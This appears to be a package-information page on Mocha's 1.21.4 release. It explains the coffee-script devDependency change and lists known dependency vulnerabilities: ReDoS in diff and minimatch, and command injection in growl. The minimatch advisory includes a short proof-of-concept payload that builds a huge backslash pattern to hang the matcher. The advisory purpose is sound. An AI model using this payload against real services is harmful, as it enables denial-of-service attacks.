Mocha, a popular and versatile JavaScript test framework, saw a minor version bump from 1.21.3 to 1.21.4, offering subtle yet potentially important changes for developers. Both versions maintain the core dependencies required for Mocha to function, including diff for comparing expected and actual results, glob for file pattern matching when specifying test files, jade for templating, debug for debugging utilities, growl for notifications, mkdirp for directory creation, and commander for command-line argument parsing.
The key difference lies in the devDependencies section, which lists packages used for development and testing of Mocha itself. Version 1.21.3 specifies coffee-script with a direct version 1.2, while version 1.21.4 updates this to coffee-script":"~1.7.1". This tilde operator (~) allows compatible updates *up to* version 1.8, while maintaining backwards compatibility within the 1.7 branch. This minor upgrade in development dependencies likely addresses internal improvements and compatibility with newer versions of CoffeeScript, possibly enhancing the development workflow for contributors to the Mocha project.
For developers using Mocha to test their own code, this change is unlikely to directly impact their testing process or results. However, it indirectly signifies ongoing maintenance and improvements within the Mocha ecosystem. The updated coffee-script dependency might lead to a more stable and efficient development environment for Mocha itself, which can eventually translate to a better experience for end-users through future releases and enhanced stability of the testing framework. The release date of 1.21.4 being August 6, 2014, compared to July 28, 2014, for 1.21.3 indicates a relatively quick turnaround, suggesting a focused effort on addressing specific issues or improvements.
`
`
All the vulnerabilities related to the version 1.21.4 of the package
Regular Expression Denial of Service (ReDoS)
A vulnerability was found in diff before v3.5.0, the affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks.
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
Growl before 1.10.0 vulnerable to Command Injection
Affected versions of growl do not properly sanitize input prior to passing it into a shell command, allowing for arbitrary command execution.
Update to version 1.10.0 or later.